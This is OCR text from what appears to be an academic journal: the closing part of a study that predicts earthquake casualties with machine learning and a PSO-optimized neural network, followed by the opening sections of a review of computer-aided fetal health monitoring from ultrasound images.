i=1,2,3,...N Jj=123,..n (11)

i=1,2.3,..Nj=123,..n

3.5. Performance Evaluation Metrics

Accuracy: It is the ratio of correct predictions to the total number of predictions, and it shows how well the model performs.
Accuracy is defined by the following formula in eq. (12) (TP: True Positives, TN: True Negatives, FP: False Positives, FN:
False Negatives):

(TP + TN)/(TP + TN + FP + FN) (12)

MSE: It measures the average of the squares of the errors. It is defined as follows in eq. (13):
lgn e2
n &=Lt (13)

RMSE: It shows the error distribution from a broad perspective. It is the square root of MSE and is defined by the following
formula in eq. (14) (e: the error between the actual and predicted values, n: the number of observations)
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/%Z?ﬂ ef (14)

Precision: It shows how close the model’s predictions are to the observed values, and it is the ratio of correct positive predictions

to the total number of positive samples. It is calculated as follows in eq. (15):

(TP)/(TP + FP) (15)

Recall: It quantifies the number of correct positive predictions made out of all positive predictions, and it is defined as follows
in eq. (16):

(TP)/(TP + FN) (16)

fl-score: It combines both precision and recall into a single measure that captures both properties, and it is calculated by the
following formula in eq. (17):

2 * ((Precision * Recall) /(Precision + Recall)) (17)

4. RESULTS and DISCUSSION

In this study, a preprocessed open-source earthquake dataset which had been commonly used for earthquake prediction
studies in the literature was used for the purpose of earthquake damage prediction. Firstly, DT, NB, SVM, LR, and the ANN
algorithm were applied to the preprocessed dataset to determine the best ML method for the study. All these simulations
were carried out in the Google Colaboratory environment by using the Python language. For these models, such libraries as

sklearn, pandas, numpy, and matplotlib were used. For each models, the initial parameters were as follows:
DT : (criterion="entropy’, splitter="random”)

NB : (var_smoothing=1e-9)

SVM: (kernel="poly’, C=0.01)

LR : (penalty="12’, tol=1e-4, C=1.0)

ANN : (activation="tanh’,hidden_layer sizes=(8, 8), solver="adam’)

Table 6 presents the Accuracy, MSE, RMSE, precision, recall, and f1-score results of the conducted experiments for different
ML models for both M1> 3 and MI > 5.

Table 6

Experimental results for different ML models

Algorithms Accuracy MSE RMSE Precision Recall F1-Score
ML>3 ML>5 ML>3 ML>5 ML>3 ML2>5 ML>3 ML2>5 ML2>3 ML>5 ML>3 ML>5

DT 0.63 0.62 0.95 0.95 0.975 0.97 0.63 0.62 0.62 0.62 0.63 0.62

NB 0.60 0.59 1.44 1.54 1.20 1.24 0.57 0.53 0.60 0.59 0.52 0.50

SVM 0.65 0.63 1.04 1.14 1.02 1.07 0.58 0.56 0.65 0.63 0.60 0.57

LR 0.56 0.55 1.40 1.48 1.18 1.21 0.48 0.45 0.57 0.55 0.47 0.45

ANN 0.67 0.67 0.95 0.82 0.96 0.90 0.54 0.60 0.67 0.67 0.59 0.60

Based on Table 6, it is evident that ANN obtained the best performance results among the other methods. The ANN produces
an average of 0.67 accuracy for M1 > 3 and 0.67 for M1 > 5 as the best values. Optimization and heuristic algorithms can
modify the attributes of an ANN, such as weights and learning rate, in order to reduce the losses and improve the performance
of the model. For this purpose, we applied various optimization and heuristic algorithms to the ANN model, such as: GD,
MBSGD, RMSProp, ADAM optimizer, GA, and PSO. Table 7 presents the accuracy, MSE, RMSE, precision, recall, and
fl-score results of the experiments conducted on the ANN model with different optimizers for both M1 > 3 and Ml > 5.
According to Table 7, ANN optimized with PSO achieved the best results based on evaluation metrics.
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Table 7

Experimental results for different optimization and heuristic algorithms for ANN

Optim. & Heur. Accuracy MSE RMSE Precision Recall F1-Score
Algorithms +ANN ~ ML>3 ML>5 ML>3 ML2>5 ML>3 ML>5 ML>3 ML2>5 ML>3 ML>5 ML>3 ML2>5
GD 0.41 0.40 0.19 0.18 0.42 0.42 0.54 0.52 0.41 0.39 0.41 0.42
MBSGD 0.54 0.53 0.16 0.17 0.39 0.40 0.59 0.57 0.54 0.53 0.52 0.51
RMSPprop 0.74 0.72 0.12 0.12 0.32 0.33 0.72 0.71 0.74 0.72 0.72 0.71
Adam 0.75 0.74 0.11 0.11 0.30 0.31 0.73 0.72 0.75 0.74 0.74 0.73
GA 0.76 0.72 0.48 0.88 0.69 0.75 0.84 0.88 0.76 0.73 0.76 0.79
PSO 0.79 0.79 0.09 0.09 0.30 0.31 0.82 0.79 0.79 0.79 0.80 0.78

4.1. PSO-ANN Model

When the results in Table 6 and Table 7 are examined, it is seen that the PSO-ANN approach produces the best results. For
this reason, an earthquake damage estimation model was developed using the PSO-ANN approach in the study. Thanks to
the PSO with high-speed convergence ability, the weights of the ANN model were optimized, and the performance was
increased. The selection of particles and other initial parameters were determined randomly. The initial values of the particles

in this study are given in Table 8.

Table 8

Initial values of the PSO algorithm

Parameter Value

Number of particles (p) 30

Number of iteration () 100

pbest 2.05

ghest 2.05

Velocity (y) Rand (p, len(data))
c,c 0.72

len(data) represents the number of data. Rand is used to randomly select the initial speed.

Using these values, the model is trained, tested, and the error between the predicted/actual values is calculated. The error is
reduced by changing the positions of the particle at each iteration. This process continues until the MSE value of le-6 or the
determined epoch value is reached. In this study, the weights of the ANN model used were optimized with PSO, and the
estimation of human casualties that can be experienced in possible earthquakes was carried out.

Ten features of earthquakes were given as inputs to the developed model, which has two hidden layers and one output layer.
The output layer consists of four classes, with the sigmoid function being used as the activation function. The network was
trained by presenting the training data to the PSO-ANN (Figure 3) with random initial and weight values. By checking the
convergence of the trained network, the error value (Em) between the expected value (Bm) and the predicted value (Ym) is
calculated. The values of Pbest and gbest are used in order to update the positions of the particles to the best solution. These
calculations and updates continue until the epoch count is completed or an MSE value of le-6 is obtained.

The k-fold cross-validation was applied to the dataset used in the model. In k-fold cross-validation, data is divided into k&
different subsets. k-1 subsets are used to train the data and to leave the last subset as the testing data. The average error value
obtained as a result of k£ experiments indicates the validity of the model. The & value is usually chosen as 3 or 5. In our study,
the training and the testing data were obtained by dividing the existing dataset into £ =5 layers. By dividing the data into
layers, it was ensured that each layer was used as a testing set at one point. Table 6 and Table 7 show the average of the results
produced in k layers. In this way, the performance of the model could be validated more accurately.
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Figure 3. PSO-ANN representation model adapted from (Xi et. al.,2019; Moayedi et al.2019)

The proposed PSO-ANN model was trained with the preprocessed dataset of earthquakes, and the change in the number of neurons
in its layers and the effect of the change in the epoch number on the model was observed. It is aimed to obtain the best results by

changing the number of neurons and epoch values used in the first and second hidden layers of the experiments. The properties
and results of the experiments carried out in this context are shown in Table 9. Based on the table, the dataset was divided into five

layers, and each time one layer was used for testing, and the remaining four layers were used for training. In this way, each data in
the dataset was used as both training and test data. Each k value represents the result of a test set. Accordingly, it was seen that the

best average accuracy (acc = 0.82) was achieved at 500 epochs by using eight neurons in both hidden layers.

Table 9
Every kresult and average obtained from the PSO-ANN model

Number of neurons in Number of neurons in Epoch Accuracy
the 1st hidden layer the 2nd hidden layer K1 K2 K3 K4 K5 K Avg.
8 8 300 0.54 0.74 0.86 0.87 0.93 0.79
8 8 400 0.58 0.76 0.81 0.88 0.92 0.79
8 8 500 0.56 0.73 0.86 0.97 0.97 0.82
16 8 300 0.54 0.61 0.77 0.93 0.96 0.76
16 8 400 0.52 0.72 0.78 0.94 0.94 0.78
16 8 500 0.54 0.76 0.83 0.92 0.96 0.80

In addition to the obtained accuracy, MSE, RMSE, Precision, Recall, and f1-score values were also calculated by taking the

average of each k value. These values are included in Table 10.

Table 10
k- averages of results from the PSO-ANN model

Number of neurons in  Number of neurons in

the Ist hidden layer the 2nd hidden layer Epoch MSE RMSE Precision Recall F1-Score
8 8 300 0.10 0.29 0.76 0.79 0.76
8 8 400 0.09 0.29 0.79 0.79 0.77
8 8 500 0.08 0.26 0.82 0.82 0.80
16 8 300 0.10 0.29 0.78 0.76 0.76
16 8 400 0.09 0.28 0.80 0.78 0.77
16 8 500 0.09 0.28 0.83 0.80 0.80
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It was observed that the increase in the epoch number did not have a positive effect on the performance of the model. Although
the change of neurons in the layers did not make a big difference, when accuracy and MSE were examined, it was seen that
this model produced more successful results with hidden layers, which had eight neurons, and 500 epochs. When the results
produced with these parameters were examined in terms of other performance evaluation metrics, it was observed that a
value of 0.82 was obtained with the precision metric, and the ability to identify the correct samples for each class was high.
Similarly, it was also observed that the process of finding all the correct examples per class was successful, with a value of
0.82 in the recall metric.

In addition to these metrics, the Receiver Operating Characteristic (ROC) curve produced by the most successful result in
each k layer and the Area Under the Curve (AUC) value of each class were calculated. ROC is a probability curve and AUC
represent area under the curve. The AUC show degree or measure of separability and specifies how much the model is capable
of distinguishing between classes. The higher the AUC, the better the models ability to distinguish between classes (Hoo,
Candlish & Teare, 2017). Figure 4 shows the ROC curves and AUC values of the model trained with 500 epochs and two
hidden layers that have eight neurons. When these values were examined, it was determined that the model had a high ability
to distinguish between classes.
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Figure 4. The ROC curve that the parameters produce the best result in each k and the AUC value for each class. (a)
Trained and tested with K1 data. (b) Trained and tested with K2 data. (c) Trained and tested with K3 data. (d) Trained and
tested with K4 data. (e) Trained and tested with K5 data

5. CONCLUSION

Earthquake damage prediction is a challenging problem that has recently received a great deal of attention. In this study, we
have developed an ANN-based model and pioneer support service for predicting the human casualties that may occur due
to a possible earthquake in any country in the world. For this purpose, an open-source dataset containing information such

as latitude, longitude, Ml size, depth, loss of life, and property of earthquakes occurring worldwide, obtained from the
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database of the NOAA (2021), was used. We compared the results of some traditional ML models, such as DT, NB, SVM,
LR, and the proposed ANN according to various metrics on the preprocessed dataset. The experimental results showed that
the proposed ANN outperformed the other algorithms. Then, to improve the performance of the ANN model, we have used
various optimization algorithms, such as GD, MBSGD, RMSProp, ADAM optimizer, and heuristic algorithms, such as GA
and PSO. PSO-ANN achieved the best results based on various performance evaluation metrics, such as accuracy, MSE,
RMSE, precision, recall, and fl-score. In the proposed PSO-ANN model, the effect of the number of neurons in the hidden
layers and the changes in the epoch values on the model were observed. Accordingly, it was determined that the values
obtained as a result of training the model with two hidden layers that had eight neurons by using 500 epochs were more
successful than the others.

The dataset used in the training and testing phase of the model proposed contained real earthquake data values. However,
the dataset is unbalanced because it does not have equal or close numbers of data from each class. Despite this situation, it
was shown that the proposed PSO-ANN model obtained successful and acceptable results based on performance metrics.
Therefore, it can be concluded that this model can be used effectively for earthquake damage estimation.

In addition, it is believed that these predicted data will be an essential reference for government institutions and non-
governmental organizations during emergency planning efforts. However, the proposed model can produce more successful
results if the dataset contains more data and balanced classes. This problem can be overcome by creating realistic synthetic
data. In future studies, it is planned to use the proposed model by including synthetic data in ready-made and open datasets
or by creating our own dataset for a region with high earthquake risk.
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ABSTRACT

Computer aided diagnostic methods have been helping medical experts for monitoring fetus health for many
years. The use of new methods has made a positive effect in monitoring the health of fetus as well as the diagnosis
of anomalies. This study first introduces the indicators for identifying anomalies in fetus and gives basic
information about computer-based methods such as traditional image processing, machine learning and deep
learning. Then an overview of existing studies which use novel techniques on monitoring fetus health and
anomaly detection from ultrasound images is given. Finally, the main challenges of novel techniques and future
directions of research on computer-aided monitoring of fetus health are summarized.

Keywords: Computer-Aided Diagnosis, Fetus Health, Deep Learning, Machine Learning, Image Processing

0z

Bilgisayar destekli tan1 yontemleri, tip uzmanlarina yillardir fetiis saglhigini izlemek igin yardimer olmaktadir.
Yeni yontemlerin kullanilmasi, fetiisiin sagliginin izlenmesinin yani sira anomalilerin tanisinda da olumlu bir
etki yaratmistir. Bu ¢alisma ilk olarak fetiiste anomalileri tanimlamak igin kullanilan gostergeleri tanitir ve
geleneksel goriintii isleme, makine 6grenimi ve derin 6grenme gibi bilgisayar tabanli yontemler hakkinda temel
bilgiler verir. Daha sonra, ultrason goriintiilerinden fetiis sagliginin izlenmesi ve anomali tespitinde yeni teknikler
kullanan mevcut ¢aligmalara genel bir bakis verilmistir. Son olarak, fetiis sagliginin bilgisayar destekli izlenmesi
tizerine giincel tekniklerle ilgili ana zorluklar ve arastirmalarin gelecekteki yonii 6zetlenmistir.

Anahtar Kelimeler: Bilgisayar Destekli Tani, Fetiis Sagligi, Derin Ogrenme, Makine Ogrenmesi, Goriintii
Isleme
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Computer-Aided Monitoring of Fetus Health From Ultrasound Images: A Review

1. INTRODUCTION

New devices and techniques, developed as a result of technological advances, have become widespread in almost every area
of life as supporting or replacing traditional business methods, as well as in the field of medicine. Ultrasonography is an
imaging method which is used in the follow-up of pregnancy and fetus health safely for more than 50 years, as it does not
contain X-rays, also known as radiation (Aydogdu, 2017; Serhatlioglu, 2016).

Computer Aided Diagnosis is one of the supporting technologies that have taken place in the field of medical imaging for
years and novel approaches attracted the attention of researchers recently. Through computer aided diagnosis, it is aimed to
quickly capture details that may be avoided the attention of humans or cannot be detected by the human eye on medical
images by using methods such as image processing, computer vision, machine learning, deep learning and artificial neural
networks. There are studies showing the contribution of computer-aided diagnostic techniques to the diagnosis of diseases
by helping physicians (Serhatlioglu,2016) and using computer-aided diagnostic methods in addition to traditional methods
increases the efficiency of the diagnostic process and enables a healthier progression of the pregnancy and delivery (Ergiin,
2017).

With the introduction of the term machine learning by Arthur Samuel (1959) significant progress has been made in many
areas such as computer vision, image processing, financial data analysis (Brattain et al., 2018). Machine learning approaches,
which have shown great success especially in image processing, have shown much better success with the emergence of deep

learning, which is a sub-branch of machine learning.

Krizhevesky et al. (2012) winning the ImageNet Large Scale Visual Recognition Challenge (ILSVRC) with Alex Krizhevsky
Convolutional Neural Network (AlexNet), has significantly contributed to the rapid increase in interest in deep learning. In
the following years, Russakovsky et al. (2015) has led to further progress with a deeper learning architecture. With technological
developments and research, the high performance of deep learning in image processing has made it to be seen as a promising
method for applications in the health sector.

Number of publications per year
300
250
200
150

100

50

2011 2012 2013 2014 2015 2016 2017 2018 2019 2020 2021

Figure 1. Number of publications about learning methods used in fetal health monitoring, within last decade by year.

Numbers are obtained from ScienceDirect (https:/www.sciencedirect.com).

According to the data obtained from ScienceDirect, the change of the number of publications within the last decade about
learning methods used for fetal health monitoring from ultrasound images are given in Fig. 1. It can be seen from the figure
that research interest in this area, increased rapidly for the last few years.

The aim of this study is to provide a comprehensive review of the studies on computer technologies used for monitoring fetal
health and development recently, to evaluate the future direction of these technologies. The rest of this paper is organized
as follows. In Section 2, medical terms, which are vital to be examined for monitoring of fetal development and health, are

Acta Infologica 284


https://www.sciencedirect.com

Atas, D., Bayrakdar Yilmaz, Y.

introduced. Computer-aided diagnostic methods, which are used in the follow-up of fetus health, are given in Section 3.
Section 4 is where the existing studies are presented.

2. INDICATORS FOR MONITORING FETAL DEVELOPMENT AND HEALTH: BIOMETRIC
PARAMETERS AND SOFT MARKERS

Ultrasonography, which is one of the non-invasive methods, is inexpensive compared to other methods such as CT and MRI,
it works in real time and does not require ionizing radiation, making its use widespread by physicians (Contreras-Ortiz,
Chiua & Fox, 2012). Although the image quality and technical features of the device vary depending on factors such as
gestational week, fetal position and the experience of the practitioner, it is possible to recognize major structural and
chromosomal anomalies with detailed ultrasonography (Paladini & Volpe, 2014).

Figure 2. Sample Fetal Biometric Parameters:(a) GS (Ergiin, 2017); (b) CRL (Salomon et al., 2019); (c) HC/BPD/OFD
(Rueda et al., 2014); (d) FL (Johnson, 2018) (¢) AC (Johnson, 2018)

Fetal biometric parameters such as gestational sac (GS), biparietal diameter (BPD), head circumference (HC), occipitofrontal
diameter (OFD), abdominal circumference (AC) and femur length (FL) are used during ultrasonographic examination to
determine the health and growth and development status of the fetus, and to diagnose some anomalies (Snijders & Nicolaides,

1994). In Fig. 2, samples of biometric parameters are shown on ultrasound images.

GS is the first ultrasonographic sign of pregnancy. Confirming fetal viability is an important indicator for determining
gestational position (Abdallah et al., 2012). BPD is the measurement of the distance between the parietal bones on the lateral
sides of the fetal head. OFD is the measure of the distance between the occipital bone and anterior bone. HC is the measurement
of the fetal head circumference. BPD and HC are the most frequently measured fetal biometric parameters in the second and

third trimesters to determine the gestational age (Salomon et al., 2019).

FL is the measurement of the femoral bone of fetus. Femur length shorter than a certain value, is an important soft marker
for chromosomal anomaly detection (Mathiesen et al., 2014). AC is one of the biometric parameters used alone or with other
parameters to calculate gestational age and fetal weight. The crown rump length (CRL) measurement of the embryo or fetus
in the first 14 weeks is the most suitable parameter in calculating the gestational age (Salomon et al., 2019).
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Figure 3. Sample Soft Markers: (a) NT (pink line), IT (green line), NB (part shown by arrow) (Paladini & Volpe, 2014);
(b) FMF angle measurement (Lachmann et al., 2010); (¢c) Mild ventriculomegaly (D’Addario, 2015)

In the determination of fetal chromosomal anomalies (although some structural anomalies also indicate chromosomal
anomalies), fetal chromosomal anomaly markers are used such as nuchal translucency (NT), intracranial translucency (IT),
frontomaxillary facial (FMF), nasal bone (NB), ventriculomegaly and femur length (FL). These markers are called as “soft
markers” (Chaoui et al., 2009; D’Addario, 2015). Sample soft markers are given in Fig.3.

NT is formed by the accumulation of fluid behind the fetal neck and can be seen on the ultrasound image in the first trimester.
NT measurement varies according to fetal crown-rump length (CRL) measurement. Higher NT measurement indicates Turner
syndrome, trisomy 13, 18, 21, and many more chromosomal abnormalities (Snijders & Nicolaides, 1994). IT compression in
fetuses with open spina bifida was observed to be evident at 11-13 weeks (Chaoui et al., 2009). FMF angle is a measurement
for detecting trisomy 21 and open spina bifida anomalies. Although the FMF angle increases in fetuses with trisomy 21
according to normal measurements, this angle decreases in fetuses with open spina bifida compared to normal measurements
(Lachmann et al., 2010). Absence or hypoplasia of NB is an important marker of trisomy 21, trisomy 18, trisomy 13, or Turner
syndrome (Paladini & Volpe, 2014). Ventriculomegaly can be identified by measuring the lateral ventricles (LVs) on an
ultrasound scan. It occurs when the atrial diameter is more than 10 mm in the second or third trimester. It is associated with
chromosomal abnormalities, most commonly trisomy 21, and congenital infections (D’Addario, 2015). Although medical
experts are experienced, during the specified examinations and inspections, human errors are always possible. In addition,
in the measurement of fetal biometric parameters and in the diagnosis of structural and chromosomal anomalies, studies that
will make it possible to make a diagnosis with a higher percentage by using computer-assisted artificial intelligence programs,

are promising.

3. COMPUTER AIDED DIAGNOSTIC METHODS USED IN THE FOLLOW-UP OF FETUS
HEALTH

Factors such as gestational age, fetal position, body fat, tissue structure, mother’s breathing motion, noise from the environment,
or technical characteristics of the device limit the diagnostic efficiency in ultrasound scanning (Hiremath, Prema & Badiger,
2013). Speckle noise, which is a natural feature of ultrasound imaging, also reduces image contrast and resolution. The
insufficient quality of the images may cause the measurements to be interpreted differently among the observers and even
the anomaly detections to be overlooked. For this reason, automatic measurements are used today to get higher diagnostic
value (Serhatlioglu, 2016).

Many different automatic measurement methods have been used in existing studies. In this section, traditional machine
learning techniques together with traditional image processing techniques used for computer aided anomaly detection, and
deep learning, which is also a sub-branch of machine learning, which have shown great success in image processing recently,
will be emphasized.

Traditional Image Processing

Image processing is a method for obtaining images with improved quality or extracting useful information from images
recorded by various mediums using computers (Vincet & Sahyun, 2003). Basically, image processing techniques are image
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enhancement, image detection and estimation, image restoration, image compression, image segmentation and image
classification (Da Silva & Mendoga, 2005).

The insufficient quality of ultrasound images increases the necessity of pre-processing step before automatic diagnosis. This
step has a key role in reducing speckle noise and increasing image quality. Although varying according to the characteristics
of the image obtained in the pre-processing step, processes such as improvement, restoration, sizing, compression, filtering,
and colour conversion can be performed. With these processes, the raw image becomes more processable and of higher
quality. The most common pre-processing methods used to improve ultrasound images are Median filter, Gaussian filter,
Lee filter, Wiener filter, Fourier transform, Wavelet filter etc. (Hiremath et al., 2013; Mounica et al. 2019).

One of the most used image processing methods in automatic diagnosis studies on ultrasound images is the segmentation
method. This method is used to divide the image into meaningful parts with similar properties due to the inefficiency of
processing the entire image. Traditional segmentation methods can be listed as follows: Threshold Method, Edge Based
Segmentation, Region Based Segmentation, Clustering Based Segmentation, Watershed Based Method. However, with the
latest developments, Artificial Neural Network Based Segmentation has gained a prominent place today (Gonzalez & Woods,
2018).

Machine Learning

Machine learning is a sub-branch of artificial intelligence that learns from data and focuses on making predictions from
data. In the following, a brief description of selected machine learning methods such as Supervised Learning, Unsupervised
Learning, Reinforcement Learning, Ensemble Learning, Semi- supervised Learning and Deep Learning is given. In supervised
learning, the machine is trained with labelled data and learns to have specified output values. Samples of the most widely
used supervised learning algorithms are Support Vector Machine (SVM), Linear regression, Naive Bayes, K-Nearest Neighbor
(kNN) and Decision Trees (DT) (Hurwitz & Kirsch, 2018; Nasteski, 2017). Unsupervised learning is a method of learning
by analysing existing data without having labelled data or a specific output value. An example of unsupervised learning
algorithms is the k-means clustering algorithm (Ghahramani, 2003). In reinforcement learning, the model receives feedback
from the cause-effect analysis among the data without training data and is directed to the best result. It is based on the Markov
Decision Process (MDP) model. Monte Carlo, Q-learning algorithms can be given as examples of reinforcement learning
algorithms (Kaelbling, Littman & Moore, 1996). Ensemble Learning is a method in which multiple models are trained to
solve a problem. Random Forest and AdaBoost algorithms can be given as examples of Ensemble learning algorithms (Zhou,
2009). Semi-Supervised Learning trains using large amounts of unlabelled data along with labelled data. There is great
interest in this approach because obtaining labelled data requires a lot of human effort. Generative models and Graph-based

method are examples of semi-supervised learning methods (Zhu, 2007).
Deep Learning

Today, conventional image processing methods are insufficient for automatic diagnosis processes. With the widespread use
of high-performance computers, deep learning and image processing find solutions to more complex problems. Deep learning
is a sub-branch of the field of machine learning, which includes one or more hidden layers that use artificial neural networks
algorithms. With deep learning, you can create models consisting of many processing layers to learn the properties of the
data and then make predictions with new data (Alom et al., 2019; LeCun et al., 2015). Some of the commonly used deep
learning algorithms can be listed as follows: Convolutional Neural Networks (CNN), Recurrent Neural Networks (RNN),
Long Short-Term Memory Networks (LSTM), Deep Boltzmann Machine (DBM) and Deep Belief Networks (DBN) (Razzak,
Naz & Zaib, 2017).

CNN architecture, which is the most effective deep learning algorithm in image processing, shows promising performances
especially in segmentation. The most used CNN models developed for different purposes can be listed as follows: Yann
LeCun Convolutional Neural Network (LeNet), AlexNet, Regional Convolutional Neural Network (Mask-R CNN), Fully
Convolutional Network (FCN), Convolutional Networks for Biomedical Image Segmentation (U-Net), GoogleNet, Visual
Geometry Group Convolutional Network (VGGNet), Region Based Convolutional Neural Networks (R-CNN), You Only
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Look Once (YOLO) , Residual Neural Network (ResNet), Dense Convolutional Network (DenseNet) (Razzak et al., 2017;
Jiao & Zhao, 2019).

Input Feature Maps Feature Maps  Feature Maps Feature Maps
48x48 Gl 44x44 6(@22x22 12(@18x18 12(@ 9x9

Qutputs

Convolution Max-pooling Convolution Max-pooling

Classification

Features extraction

Figure 4. Convolutional Neural Network (CNN) General Architecture (Alom et al., 2019)
In Figure 4, general architecture of CNN is given.

By means of high-performance computers and software techniques that are developing day by day, deep learning models
are constantly developing, and higher performance algorithms appear. In this study, traditional image processing methods
machine learning and deep learning models, which have been used for medical image segmentation and classification from

past to present, have been reviewed.

Table I

Classification of existing studies according to the technique used
Used Technique Related Work
(Chakkarwar, Joshi & Revankar, 2010; Wee et al., 2010; Rawat et al., 2013; Ibrahim
et al.,2017; Lu et al., 2005; Satwika et al., 2013; Mathews et al., 2014; Foi et al., 2014;
Sahili et al., 2019; Rasheed et al., 2021; Thomas, Peters & Jeanty, 1991; Mukherjee et
al., 2010; Wang, 2014; Methews & Deepa, 2014; Khan et al., 2015; Yu, Wang &
Traditional Image Processing methods Chen, 2015; Amoah, Anto & Crimi, 2015; Ravishankar, Prabhu & Vaidya, 2016;
Hermawati et al., 2019; Yu et al., 2008; Wang et al., 2014; Jang et al., 2018; Kim et
al., 2018; Nirmala & Palanisami, 2010; Lakshmi et al., 2008; Karl, Kagan & Chaoui,
2012; Sonia & Shanti, 2015; Deng et al., 2012; Anzalone et al., 2013; Sonia &
Shanti, 2016; Nie et al., 2017)
(Khazendar et al., 2014; Ibrahim et al., 2017; Lu et al., 2005; Mathews & Deepa,
2014; Sahli et al., 2019; Carneiro et al., 2008; Anjit & Rishidas, 2011; Rafeek &

Supervised Learning methods Gunasundari, 2013; Deng et al., 2012; Park et al., 2013; Sciortino, Tegolo & Valenti,
2017)

Unsupervised Learning methods (Zhang et al., 2017; Yu et al., 2008; Anzalone et al., 2013)

Semi-Supervised Learning methods (Park et al., 2013)

Ensemble Learning methods (Zhang, Chen & Li, 2011; th;rllf: ;:)?glg; E?ltz;ﬁh;glgg;t al., 2017; Van den Heuvel et

Reinforcement Learning methods (Sofka et al.,2014)

(Yang et al., 2019; Sinclair et al., 2018; Kim et al., 2019; Li et al., 2020; Rasheed et
al., 2021; Sobhaninia et al., 2019; Thirusittampalam & Thangavel, 2020; Zhang et
Deep Learning methods al., 2020; Fiorentino et al., 2020; Zhang, Petitjean & Ainouz, 2022; Wang et al.,
2019; Ravishankar, Prabhu & Vaidya, 2016; Jang et al., 2018; Kim et al., 2018; Yang,
Yang & Zhang, 2020; Oghli et al., 2021; Chen et al., 2020; Liu et al., 2019; Chaudhari
etal., 2021; Zhu et al., 2021; Thomas & Arjunan, 2022)
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4. EXISTING STUDIES

In this section, selected existing studies are reviewed. Some of them focus on prenatal biometric parameters and the rest
focus on soft markers. For a clear presentation, existing work is organized in two subsections and three categories in each
subsection as Traditional Image Processing, Machine Learning and Deep Learning. Additionally, studies which belongs in
more than one category are classified as Hybrid. In Table I, as a summary, reviewed publications in this article are classified

according to the used methods.
4. 1. Studies Focused on Measurement of Biometric Parameters
4.1.1. Traditional Image Processing

In the study on automatic segmentation of FL, Thomas et al. (1991) used morphological operators and made use of preliminary
information on overall size and shape range for measurements. In the study, the background was first subtracted from the
original image to make the femur bone more prominent, then contrast was enhanced to improve the shape of the femur bone,
and then the threshold was applied to create a dual image. Next, an algorithm that searches in the femur region and designed
to combine regions with general curvature was used. The obtained femur bone was used to create a single pixel-wide skeleton
and finally FL. measurement was made. Chakkarwar et al. (2010) worked on automatic measurement of GS size. In the study,
segmentation was made with thresholding technique using Gaussian and Wiener filters for speckle noise, respectively, and
the diameter of the GS was measured. It was noted by the authors that automatic measurement of the gestational sac was
successfully performed with the presented method. Mukherjee et al. (2010) used polynomial curve fitting technique for
automatic FL detection and measurement. Otsu threshold and curvature-based thresholding procedures were used to
differentiate the femur, from other regions. In the next step, a five-parameter separator is used for the segmentation of the
relevant region. After automatic segmentation, the Least Trim Square (LTS) regression method was used for polynomial
curve fitting and automatic measurement was performed. It is stated that the presented method can be adapted for automatic
measurement of other fetal [imbs. Rawat et al. (2013) used Gradient Vector Force (GVF) snake-based segmentation algorithm
for automatic segmentation of GS in their study. Satwika et al. (2013) proposed automatic BPD and HC measurement with
the Hough transform method with one-dimensional parameter space developed in their study. It was emphasized that the
proposed method is better than both the single parameter space Hough Transform (HT) method and the Random Hough
Transform (RHT) method. Foi et al. (2014) developed the Difference of Gaussians revolved along Elliptical paths (DoGEIl)
method on fully automatic skull segmentation to calculate biometric measurements of BPD, OFD and HC. Using the DoGEll
method, the inner, middle, and outer contour estimates of the skull were found by minimizing the cost function using the
Nelder-Mead algorithm. The authors stated that the segmentation accuracy of their method was superior to other methods
participating in the challenge of “Challenge US: Biometric Measurements from Fetal Ultrasound Images held in conjunction
of the ISBI 2012 conference”. For automated FL segmentation and measurement, Wang (2014) presented an automated
morphology-based approach. Firstly, the median filter was used to reduce noise, secondly, the entropy-based segmentation
method was used to determine possible candidates. In the next step, FL segmentation was performed by selecting the best
elongated object according to the density and the height-width ratio. Mathews et al. (2014) used Chamfer Matching-based
ellipse sensing and HT-based ellipse sensing approaches for segmentation of the fetal head for HC, BPD, and OFD measurement
and compared these approaches. It was stated that the Chamfer Matching-based ellipse sensing approach performed better
than the HT-based ellipse sensing approach. Wang et al. (2014) first defined an elliptical ROI to cover only the fetal abdomen
to detect abdominal contour. In the next step, local phase-based Multi-scale Feature Asymmetry (MSFA) measurement was
used to determine the fetal abdomen boundaries. In the last step, IRHT was applied to determine the ellipse that fits the
abdominal contour. Yu et al. (2015) used the phase symmetry method and the saliency visual attention model for femur
detection. In the first stage, 2D phase symmetry method, which does not change with changes in contrast and shows significant
sensitivity in bone fixation, was used to determine possible image features. In the second stage, a modified prominence
based visual attention model, combined with information about the structure of the femur, was used to select the femur from
the candidate objects obtained in the first stage. In the last step, polynomial regression was used to find the best curve for
the actual shape of the femur. Amoah et al. (2015) studied automatic measurement of FL and accordingly the prediction of
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gestational age. In the first step, FL was determined through phase symmetry information obtained by using Gabor filter
bank, which detects bone structures. The results of the phase symmetry image were then doubled using the grassy threshold,
and then dilation and erosion processes were applied. After determining FL, gestational age was calculated using Hadlock
regression formula. Hermawati et al. (2019) worked on obtaining FL automatically and determining the effect of noise
cancellation on segmentation accuracy. They used the hybrid speckle noise reduction method to remove noise in the first
step. In this method, anisotropic diffusion, bilateral filtering and wavelet multiresolution methods are combined. In the
second step, the localized region-based active contour (LR AC) method was applied to identify and segment a local area. In
the last step FL was measured for gestational age estimation. It has been stated that noise reduction has a great effect on
accurately measuring the gestational age.

4.1.2. Machine Learning

Carneiro et al. (2008) studied the automatic measurement of biometric parameters (BPD, HC, AC, FL, CRL) by segmentation
procedure applied to ultrasound images. In the method used, a constrained probabilistic boosting tree classifier was trained
to automatically distinguish between the object of interest and the background. It has been stated that the segmentation and
obstetric measurements of the proposed method are close to the accuracy of the experts. Zhang et al. (2011) made automatic
diameter measurement of GS from the videos. In the first stage, speckle noise was removed, in the second stage, the AdaBoost
algorithm was used to find the position of the GS. Again, Zhang et al. (2012) continued their previous work and integrated
machine learning and image processing techniques for fully automated GS measurement. In this study, a two-stage AdaBoost
classifier was used, a database-guided multi-scale normalized cuts algorithm was used for automatic segmentation, and
automatic measurement of GS was performed with an optimized snake model. Khazendar et al. (2014) worked on segmentation
of GS and classification of segmented GS whether it is a miscarriage case or a normal case. In the study, the Otsu thresholding
for automatic measurement of the Mean Sac Diameter (MSD), the median filter to soften the boundaries and the erosion
method from the morphological processes to extract the boundaries. For classification, different methods such as DT, SVM,
Naive Bayes and kNN have been used. Sofka et al. (2014) developed a system for automatic measurement of fetal head and
brain structures from 3D ultrasound images. Monte Carlo method and learning-based Integrated Detection Network (IDN)
method, which are sequential estimation techniques based on visual monitoring, were used for HC, BPD, OFD and LV
measurements. While object detection estimation is made with Monte Carlo method, design, modification, adjustment, and
application of complex detection system are simplified with IDN. Mathews and Deepa (2014) used density-based thresholding
